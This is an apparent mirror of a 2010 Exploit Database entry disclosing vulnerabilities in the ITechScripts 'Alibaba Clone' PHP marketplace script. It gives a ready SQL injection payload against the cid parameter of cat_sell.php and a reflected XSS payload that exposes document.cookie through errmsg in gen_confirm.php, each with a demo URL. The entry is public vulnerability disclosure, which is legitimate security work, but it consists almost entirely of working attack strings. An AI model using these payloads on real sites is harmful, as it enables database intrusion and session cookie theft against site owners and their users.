ITechSctipts Alibaba Clone – Multiple Vulnerabilities

• Exploit Database
• 11 阅读

• 作者： Hamza 'MizoZ' N.
  日期： 2010-01-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11163/

• /*
  
  Name : ITechSctipts Alibaba Clone
  Site : http://itechscripts.com/index.php?page=shop.product_details&flypage=shop.flypage&product_id=24&option=com_virtuemart
  
  Author : Hamza 'MizoZ' N.
  Email : mizozx[at]gmail[dot]com
  
  Greetz : Zuka , Sellim
  
  */
  
  # SQL Injection :
  
  File : cat_sell.php , Get : cid
  
  [HOST]/[PATH]/cat_sell.php?cid=-7+union+select+1,version(),3,4,5,6,7,8--
  
  Demo : http://server/cat_sell.php?cid=-7+union+select+1,version%28%29,3,4,5,6,7,8--
  
  # XSS :
  
  File : gen_confirm.php , Get : errmsg
  
  [HOST]/[PATH]/gen_confirm.php?errmsg=[SCRIPT]
  
  Demo :http://server/gen_confirm.php?errmsg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E